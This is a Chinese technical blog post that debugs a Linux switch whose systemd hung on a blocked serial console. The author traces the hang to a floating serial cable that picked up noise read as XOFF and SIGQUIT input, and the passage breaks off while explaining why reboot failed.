&lt;p&gt;如果子进程运气不好，父进程先挂了，就会成为孤儿进程(Orphan Process)，孤儿进程会自动托管给“systemd”进程。所以系统中总有一个进程负责“收尸”，systemd进程作为“收尸队长”稳定性至关重用。&lt;&#x2F;p&gt;
&lt;p&gt;死后没被&quot;收尸&quot;的进程就是僵尸进程（Zombie Process），这是官方称谓，需要认真对待。僵尸进程占用进程号资源，如果数量多了造成系统无法fork新进程。&lt;&#x2F;p&gt;
&lt;p&gt;系统中僵尸遍野，可以推测systemd进程罢工了，没人“收尸”，导致了僵尸进程堆积。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# cat &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;status
 Name:   systemd
 Umask:  0000
 State:  S (sleeping)
...
 Cpus_allowed:   77
 Cpus_allowed_list:      0-2,4-6
 Mems_allowed:   00000000,00000001
 Mems_allowed_list:      0
 voluntary_ctxt_switches:        27166670
 nonvoluntary_ctxt_switches:     4515113
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过现网环境中，多次收集systemd的状态，主动任务上下文切换（voluntary_ctxt_switches）和被动上下文切换（nonvoluntary_ctxt_switches）次数不变化，可以确认systemd进程卡住。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;systemdwei-shen-me-qia-zhu&quot;&gt;systemd为什么卡住?&lt;&#x2F;h2&gt;
&lt;p&gt;systemd进程是Linux系统的核心组件，他提供了更快的启动时间和更好的服务管理，替换了传统的Init进程，管理系统初始化、重启、服务、会话等。它是系统中所有进程的父进程，类似开天辟地的盘古。它卡住了，系统的天就塌了，僵尸进程横行，服务启停失效。&lt;&#x2F;p&gt;
&lt;p&gt;这么重要的进程，卡在哪儿了？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#cat &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;wchan
tty_write_lock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过查看 &#x2F;proc&#x2F;1&#x2F;wchan 文件，可以确定 systemd 进程的阻塞点。wchan 是 &quot;wait channel&quot; 的缩写，用于标识进程正在等待的资源。这个术语源自 Unix 时代，至今仍在使用。当读取 &#x2F;proc&#x2F;1&#x2F;wchan 文件时，内核会扫描 systemd 进程的内核栈，获取栈顶指针和相关寄存器的值，并将这些信息转译为内核符号，使我们能够轻松理解进程的等待状态。&#x2F;proc路径是用户态和内核通信的重要通道，下文提到&#x2F;proc路径下的内容，都是内核实时的内存内容，而非静态的文件。&lt;&#x2F;p&gt;
&lt;p&gt;那么，systemd 卡住时的上下文是什么样的呢？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#cat &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;stack
[&amp;lt;ffffffffaa61ef8a&amp;gt;] tty_write_lock+0x2a&amp;#x2F;0x40
[&amp;lt;ffffffffaa61f968&amp;gt;] tty_write+0xb8&amp;#x2F;0x2c0
[&amp;lt;ffffffffaa6249e0&amp;gt;] n_tty_open+0xd0&amp;#x2F;0xd0
[&amp;lt;ffffffffaa409ec0&amp;gt;] rw_copy_check_uvector+0x60&amp;#x2F;0x120
[&amp;lt;ffffffffaa61fb70&amp;gt;] tty_write+0x2c0&amp;#x2F;0x2c0
[&amp;lt;ffffffffaa4076a1&amp;gt;] do_loop_readv_writev+0x71&amp;#x2F;0xa0
[&amp;lt;ffffffffaa61fb70&amp;gt;] tty_write+0x2c0&amp;#x2F;0x2c0
[&amp;lt;ffffffffaa408b53&amp;gt;] do_readv_writev+0x223&amp;#x2F;0x240
[&amp;lt;ffffffffaa408dfe&amp;gt;] do_writev+0x5e&amp;#x2F;0xf0
[&amp;lt;ffffffffaa203b7d&amp;gt;] do_syscall_64+0x8d&amp;#x2F;0xf0
[&amp;lt;ffffffffaa826c4e&amp;gt;] entry_SYSCALL_64_after_swapgs+0x58&amp;#x2F;0xc6
[&amp;lt;ffffffffffffffff&amp;gt;] 0xffffffffffffffff
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&#x2F;proc&#x2F;1&#x2F;stack可以查看systemd进程的内核栈，系统卡在了writev的系统调用中。&lt;strong&gt;systemd的实现非常复杂，调用writev的函数代码也很多，我怎么才能知道systemd用户态上下文？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# strace -p 1
strace: Process 1 attached
writev(23, [{iov_base=&amp;quot;         &amp;quot;, iov_len=9}, {iov_base=&amp;quot;Starting KLP(Kernel Live Patchin&amp;quot;..., iov_len=56}, {iov_base=&amp;quot;\n&amp;quot;, iov_len=1}], 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;strace可以跟踪系统调用，并且输出缓冲区内容。定位信息显示&quot;Starting KLP(Kernel Live Patchin&quot; 是KLP服务输出服务启动信息卡住了。systemd卡在了writev 操作fd=23的系统调用中，那么fd 23对应的是什么文件？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# ls -al &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;fd
dr-x------ 2 root root  0 Apr 25 15:12 .
dr-xr-xr-x 9 root root  0 Jan 18 16:47 ..
lrwx------ 1 root root 64 Apr 25 15:12 0 -&amp;gt; &amp;#x2F;dev&amp;#x2F;null
lrwx------ 1 root root 64 Apr 25 15:12 1 -&amp;gt; &amp;#x2F;dev&amp;#x2F;null
...
l-wx------ 1 root root 64 Apr 25 15:12 23 -&amp;gt; &amp;#x2F;dev&amp;#x2F;console
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到fd23对应&#x2F;dev&#x2F;console，即systemd写入&#x2F;dev&#x2F;console时卡住了。那么谁在占用&#x2F;dev&#x2F;console?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# fuser &amp;#x2F;dev&amp;#x2F;console
&amp;#x2F;dev&amp;#x2F;console:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在fuser定位信息中，发现只有PID 1（即systemd）在占用&#x2F;dev&#x2F;console，也就是说没有其他进程争夺console。我们预期其他进程占用console，导致systemd卡console访问的假设不成立了，此时有些迷茫，暂时搁置这个线索。我们切换思路，使用pstree寻找可能导致systemd陷入这种上下文的用户态操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# pstree -a
systemd
  ├─agetty --noclear --keep-baud 115200 tty1 linux
  ...
  └─upgraded -u &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;upgraded
      └─sh -c sh &amp;#x2F;etc&amp;#x2F;sonic&amp;#x2F;patch&amp;#x2F;install.sh klp_manage
          └─sh &amp;#x2F;etc&amp;#x2F;sonic&amp;#x2F;patch&amp;#x2F;install.sh klp_manage
              └─usr_cmd.sh .&amp;#x2F;usr_cmd.sh -i
                  └─sudo systemctl start klp_manage.service
                      └─systemctl start klp_manage.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;通过上述信息，用户态角度看systemd卡住的过程已经明确了：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;系统打补丁-》补丁服务(upgraded)操作klp_manage服务-》systemd输出“KLP”服务信息到控制台-》控制台（&#x2F;dev&#x2F;console）无法访问。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;那么，systemd在特定场景下可能存在获取不到tty_write_lock信号量的bug？systemd进程在全球数以亿计的设备上运行，systemd社区并没有人反馈过类似的bug。因此，我们暂时排除了systemd本身存在bug的可能性，换个思路从console入手寻找突破口。&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;dev&#x2F;console是系统控制台的设备文件，我们需要查看console的配置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# cat &amp;#x2F;proc&amp;#x2F;cmdline
BOOT_IMAGE=&amp;#x2F;image- XXX&amp;#x2F;boot&amp;#x2F;vmlinuz-4.9.0-8-amd64 root=&amp;#x2F;dev&amp;#x2F;sda3 rw console=tty0 console=ttyS0,115200n8 quiet ...
# cat &amp;#x2F;proc&amp;#x2F;consoles
ttyS0                -W- (EC p a)    4:64
tty0                 -WU (E  p  )    4:1
# cat &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;virtual&amp;#x2F;tty&amp;#x2F;tty0&amp;#x2F;active
tty1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以确认console对应的是ttyS0和tty0两个设备。先梳理一下console和tty等概念：&lt;&#x2F;p&gt;
&lt;p&gt;终端（tty）：从应用角度看，终端是提供标准输入（stdin）、标准输出（stdout）和标准错误（stderr）等I&#x2F;O功能的进程或设备。终端包括虚拟终端（如ssh、telnet）和实体终端（如串口、屏幕键盘）。&lt;&#x2F;p&gt;
&lt;p&gt;控制台（console）：从内核角度看，提供内核标准输出的设备，主要包括串口和屏幕键盘等实体终端。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;linux-console-tty-concepts.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tty0是一个特殊的终端设备，它通常代表当前活动的虚拟控制台（virtual console）。通过内核信息（dmesg）确认tty0对应的真实设备。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#dmesg
[    0.000000] Console: colour dummy device 80x25
[    0.000000] console [tty0] enabled
[    0.000000] console [ttyS0] enabled
#cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;tty&amp;#x2F;tty0&amp;#x2F;active
tty1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以确认tty0真实设备为tty1。tty1为虚拟控制台，一般为显示器，但交换机设备上没有显卡硬件。结合console驱动源码分析。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static const char *dummycon_startup(void)
{
    return &amp;quot;dummy device&amp;quot;;
}

const struct consw dummy_con = {
    .owner =		THIS_MODULE,
    .con_startup =    dummycon_startup,
    .con_init =		dummycon_init,
...
    .con_font_get =    DUMMY,
    .con_font_default =    DUMMY,
    .con_font_copy =    DUMMY,
};
static int __init con_init(void)
{
...
    if (conswitchp)
		display_desc = conswitchp-&amp;gt;con_startup();
...
    pr_info(&amp;quot;Console: %s %s %dx%d\n&amp;quot;,
		vc-&amp;gt;vc_can_do_color ? &amp;quot;colour&amp;quot; : &amp;quot;mono&amp;quot;,
		display_desc, vc-&amp;gt;vc_cols, vc-&amp;gt;vc_rows);
    printable = 1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;“Console: colour dummy device 80x25”说明tty为&quot;dummy device&quot;，即空操作设备。其行为类似&#x2F;dev&#x2F;null是个字符黑洞。所以console只能输出到ttyS0上，tty0是空操作不会引入异常排除掉。
综上得到如下推论： &lt;strong&gt;&#x2F;dev&#x2F;console是&#x2F;dev&#x2F;ttyS0的别名，如果ttyS0被卡住，&#x2F;dev&#x2F;console就会发生阻塞。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;排查思路重新回到console抢占失败导致systemd卡住，通过fuser继续确认谁在占用ttyS0，以及占用进程的状态。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# fuser &amp;#x2F;dev&amp;#x2F;ttyS0
&amp;#x2F;dev&amp;#x2F;ttyS0:  11125
# ps -p 11125
  PID TTY          TIME CMD
11125 ttyS0    00:00:00 login
# cat &amp;#x2F;proc&amp;#x2F;11125&amp;#x2F;stack
[&amp;lt;ffffffffaa285ad7&amp;gt;] recalc_sigpending+0x17&amp;#x2F;0x50
[&amp;lt;ffffffffaa63f769&amp;gt;] uart_write_room+0x69&amp;#x2F;0xe0
[&amp;lt;ffffffffaa2bb553&amp;gt;] wait_woken+0x43&amp;#x2F;0x80
[&amp;lt;ffffffffaa624df3&amp;gt;] n_tty_write+0x413&amp;#x2F;0x490
[&amp;lt;ffffffffaa2bb500&amp;gt;] finish_wait+0x70&amp;#x2F;0x70
[&amp;lt;ffffffffaa61fa90&amp;gt;] tty_write+0x1e0&amp;#x2F;0x2c0
[&amp;lt;ffffffffaa6249e0&amp;gt;] n_tty_open+0xd0&amp;#x2F;0xd0
[&amp;lt;ffffffffaa408850&amp;gt;] vfs_write+0xb0&amp;#x2F;0x190
[&amp;lt;ffffffffaa409c92&amp;gt;] SyS_write+0x52&amp;#x2F;0xc0
[&amp;lt;ffffffffaa203b7d&amp;gt;] do_syscall_64+0x8d&amp;#x2F;0xf0
[&amp;lt;ffffffffaa826c4e&amp;gt;] entry_SYSCALL_64_after_swapgs+0x58&amp;#x2F;0xc6
[&amp;lt;ffffffffffffffff&amp;gt;] 0xffffffffffffffff
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;proc信息看到login进程已经通过tty_write_lock的信号量，但卡在串口写入缓冲区uart_write_room。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;到达问题定位关键点，故障场景内核态的上下文已经确认：串口缓冲区满，login拿到串口信号量后卡在写入缓冲区上，systemd卡在拿不到串口信号量。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;login-uart-write-blocked.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;是否串口缓冲区满，就能看到和现网一样的故障现象？我们动手验证一下，首先搞清楚&#x2F;dev&#x2F;console到写入串口的逻辑，寻找构造缓冲区阻塞的条件。&lt;&#x2F;p&gt;
&lt;p&gt;通过下述命令行收集写入&#x2F;dev&#x2F;console时函数调用轨迹：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;终端1# trace-cmd record -p function_graph -g SyS_write  ... #通过ftrace命令记录系统函数调用轨迹
终端2# echo xxx &amp;gt;&amp;#x2F;dev&amp;#x2F;console
终端1# ctrl+c 停止轨迹收集，trace-cmd report | grep echo #过滤获取echo线程的内核调用栈轨迹
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最终收集到的调用轨迹如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;SyS_write() {
  vfs_write() {
    __vfs_write() {
      redirected_tty_write() { &amp;#x2F;&amp;#x2F;file-&amp;gt;f_op-&amp;gt;write=&amp;gt; console_fops.write=redirected_tty_write
        tty_write() {
          tty_paranoia_check();
          tty_ldisc_ref_wait()
          do_tty_write(){ &amp;#x2F;&amp;#x2F;内联函数 ret = do_tty_write(ld-&amp;gt;ops-&amp;gt;write, tty, file, buf, count);
            tty_write_lock()
            __check_object_size()
            n_tty_write() {  &amp;#x2F;&amp;#x2F;ld-&amp;gt;ops-&amp;gt;write =&amp;gt; n_tty_ops.write=n_tty_write
              down_read()
              process_echoes();
              add_wait_queue()
              tty_hung_up_p();
              process_output() {&amp;#x2F;&amp;#x2F;处理一个写出
                tty_write_room() {
                  uart_write_room() &amp;#x2F;&amp;#x2F; tty-&amp;gt;ops-&amp;gt;write_room()==&amp;gt;struct tty_operations uart_ops.uart_write_room(tty)
                }
                do_output_char(){
                ...
              uart_flush_chars() { &amp;#x2F;&amp;#x2F;tty-&amp;gt;ops-&amp;gt;flush_chars()
                uart_start() {
                  _raw_spin_lock_irqsave();
                  __uart_start.isra.11() {
                    serial8250_start_tx();
                    ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，字符串输出到串口的逻辑：首先会tty_write_lock拿到tty信号量后，然会调用tty_write_room写入串口缓冲区，最终调用uart_flush_chars通过串口硬件发出。&lt;&#x2F;p&gt;
&lt;p&gt;只需要uart_flush_chars最终输出的位置拦截，理论上就能构造串口缓冲区满。使用livepatch技术，直接替换内核uart_flush_chars函数实现，使其变为阻塞的空操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static void uart_flush_chars(struct tty_struct *tty)
{
    while(1){
        ssleep(1);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;开始验证：&lt;&#x2F;p&gt;
&lt;p&gt;1、向内核注入livepatch补丁，修改uart_flush_chars的行为，insmod .&#x2F;console_patch.ko
2、ssh终端1，执行echo xxx &amp;gt;&#x2F;dev&#x2F;console，使echo进程卡死的串口输出上
3、ssh终端2，执行systemctl restart upgraded，使systemd尝试想串口打印服务启停信息
4、ssh终端3，进入shell后，直接关掉weterm，尝试制造僵尸进程
经验证，制造故障的场景与现网故障完全一致 &lt;strong&gt;，即systemd卡住的原因与串口高度相关&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;cat-proc-stack-stuck-process.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题的核心来到串口缓冲区为什么会满？&lt;&#x2F;strong&gt; 可能的原因包括串口硬件异常和驱动异常。然而，在一个月内发生了两起类似案例，而这些案例都涉及技术成熟的串口硬件，这种概率极低，因此硬件缺陷的定位思路被排除了。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们从驱动方面寻找突破口。8250串口驱动是Linux内核自带的，社区中没有相关的缺陷报告，因此驱动缺陷的定位思路也被堵死了。&lt;&#x2F;p&gt;
&lt;p&gt;那么，是否可能是控制台自带的功能导致的呢？我们需要进一步查看串口配置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# stty -F &amp;#x2F;dev&amp;#x2F;ttyS0

speed 115200 baud; line = 0;
-brkint ixoff -imaxbel iutf8
-iexten
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;震惊！&lt;strong&gt;内核很严谨的在ttyS0上支持了一个意外的功能--“ixoff”串口流控。&lt;&#x2F;strong&gt; 这个功能是在串口接收端缓冲区不足时，发送XOFF(ASCII 码0x13，是控制指令)触发发送端停止发送，避免数据丢失。&lt;&#x2F;p&gt;
&lt;p&gt;我本地使用中断发送XOFF命令，很容易触发了串口假死，缓冲区很快就满了。线上环境还有这种老六操作？&lt;&#x2F;p&gt;
&lt;p&gt;我相信运营同学不会无事生非，答案只能是无意的错误输入。继续寻找串口异常的蛛丝马迹。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# ls -lh &amp;#x2F;host&amp;#x2F;core
total 600K
-rw-rw-rw- 1 root root 120K May  x 20:10 login.1715170208.18505.core.gz
-rw-rw-rw- 1 root root 120K May  x 20:10 login.1715170223.24232.core.gz
-rw-rw-rw- 1 root root 120K May  x 20:12 login.1715170335.27246.core.gz
-rw-rw-rw- 1 root root 120K May  x 14:43 login.1715323385.17268.core.gz
-rw-rw-rw- 1 root root 120K May  x 14:43 login.1715323403.18457.core.gz
....
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么多login的coredump文件也很让人震惊，历史悠久login进程这么脆弱吗？随便找一个分析分析。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#gdb &amp;#x2F;bin&amp;#x2F;login login.**.core
Core was generated by `&amp;#x2F;bin&amp;#x2F;login --       &amp;#x27;.
Program terminated with signal SIGQUIT, CPU time limit exceeded.
#0  0x00007fca15709910 in read () from &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;果然不是login本身逻辑的锅，而是因为收到SIGQUIT自动退出了。怎么就收到SIGQUIT信号呢？&lt;&#x2F;p&gt;
&lt;p&gt;在任意终端（串口、ssh、telnet）输入ctrl+\组合地区可以产生SIGQUT信号。问题是login进程只负责系统登陆认证，login进程是必须在输入用户名后，提示passwd敲密码时，敲ctrl+\才会转换为SIGQUIT信号，产生core文件。&lt;&#x2F;p&gt;
&lt;p&gt;在交换机系统上，ssh使用的事其他的用户登陆认证方式。只有在串口终端上，才会用到login作为用户登陆认证。&lt;strong&gt;关键推论：有人在现网设备上反复尝试登陆？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;询问机房驻场人员，问题设备上连着串口线，但没有连串口服务器，没人使用过问题设备的串口。&lt;strong&gt;除了见鬼，能不能解释这种灵异行为？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;终于到了答案揭晓的时刻：世界上没有鬼，在电磁信号复杂的环境中，悬空的串口线像天线一样，自动捕捉了周围的电磁波，感应到电平信号会被linux识别为有效输入。感应的错误字符是随机的，linux系统对字符输入进行处理，随机的字符串会有不同的动作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果遇到换行控制符，设备就会启动login进程；&lt;&#x2F;li&gt;
&lt;li&gt;如果遇到SIGQUIT信号，login就coredump；&lt;&#x2F;li&gt;
&lt;li&gt;如果遇到了XOFF停止发送指令，设备串口就假死了。这点也是最致命的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;假死的串口，经过一连串的错误积累，Linux系统崩溃，无法reboot了。至此，串口线悬空致linux崩溃之谜告破。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;那么容易感应出乱码，是不是串口硬件设计缺陷？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在交换机和服务器硬件上常见的串口通信标准是 RS-232，它通过 RX（接收）、TX（发送）和 GND（地）三根线传递数据。&lt;&#x2F;p&gt;
&lt;p&gt;在交换机串口的RX信号量pin上增加了下拉电阻，尽量避免悬空信号的不确定性，串口通信要求RX、TX、GND必须接好，避免RX乱码的情况。&lt;&#x2F;p&gt;
&lt;p&gt;串口线悬空的影响包含：
1、TX数据信号耦合到RX，产生乱码。经硬件同事验证，串口线对端悬空的情况下，在串口TX输出时，TX的信号没有良好的地回路，导致能量从RX泄放（耦合），幅度可以达到1.5V以上满足芯片要求，导致串口RX接收到乱码。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;rs232-tx-rx-coupling.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2、外部电磁环境复杂（跟电源线捆绑等），串口的RX线感应到电压产生乱码。&lt;&#x2F;p&gt;
&lt;p&gt;同时以“串口线悬空 ”作为关键字能搜索到很多接收数据异常的案例：
1、《Arduino 输入引脚悬空时，串口信号不稳定》&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;rocketeerLi&#x2F;article&#x2F;details&#x2F;103509693&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;rocketeerLi&#x2F;article&#x2F;details&#x2F;103509693&quot;&gt;blog.csdn.net&#x2F;rocketeer&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;rocketeerLi&#x2F;article&#x2F;details&#x2F;103509693&quot;&gt;Li&#x2F;article&#x2F;details&#x2F;103509693&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2、《CC2642R: cc2642的串口悬空接收数据异常》&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;e2echina.ti.com&#x2F;support&#x2F;wireless-connectivity&#x2F;bluetooth&#x2F;f&#x2F;bluetooth-forum&#x2F;799064&#x2F;cc2642r-cc2642&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;e2echina.ti.com&#x2F;support&#x2F;wireless-connectivity&#x2F;bluetooth&#x2F;f&#x2F;bluetooth-forum&#x2F;799064&#x2F;cc2642r-cc2642&quot;&gt;e2echina.ti.com&#x2F;support&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;e2echina.ti.com&#x2F;support&#x2F;wireless-connectivity&#x2F;bluetooth&#x2F;f&#x2F;bluetooth-forum&#x2F;799064&#x2F;cc2642r-cc2642&quot;&gt;&#x2F;wireless-connectivity&#x2F;bluetooth&#x2F;f&#x2F;bluetooth-forum&#x2F;799064&#x2F;cc2642r-cc2642&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;3、《systemd can get stuck if system console is broken》&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;issues&#x2F;29095&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;issues&#x2F;29095&quot;&gt;github.com&#x2F;systemd&#x2F;syst&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;issues&#x2F;29095&quot;&gt;emd&#x2F;issues&#x2F;29095&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;综上这并非硬件设计缺陷，而是因为生产环境串口线连线不合理导致的问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;举一反三mgmt管理口的网线会不会存在类似乱码输入故障？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;分情况讨论：
场景一、网线悬空。悬空的网线会感应出信号，但通常不会发导致网口up、down震荡，或收到错包等现象。原因是，网络接口卡（NIC）通常会检测物理链路的完整性，如使用载波侦听多路访问&#x2F;碰撞检测（CSMA&#x2F;CD）等机制。如果没有检测到载波信号，NIC 会认为链路是断开的，并不会尝试解码任何数据。&lt;&#x2F;p&gt;
&lt;p&gt;场景二、网线质量不过关。网线质量不过关，往往会导致乱码（即错包）。链路层有CRC校验，TCP层有重传等机制，避免乱码带来的影响。此时通过ifconfig等工具，能够检测这种错包情况，来评估是否更换网线。&lt;&#x2F;p&gt;
&lt;p&gt;综上，mgmt管理口网线一般不会因为乱码输入引入故障。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;reboot命令为什么失效？&lt;&#x2F;strong&gt;
reboot过程是启动过程的逆过程。设备启动过程，服务启动顺序是systemd控制的，设备reboot过程，服务停止顺序，同样依赖systemd控制。通过下面命令我们可以看到reboot命令实际上是systemctl的软连接。&lt;&#x2F;p&gt;
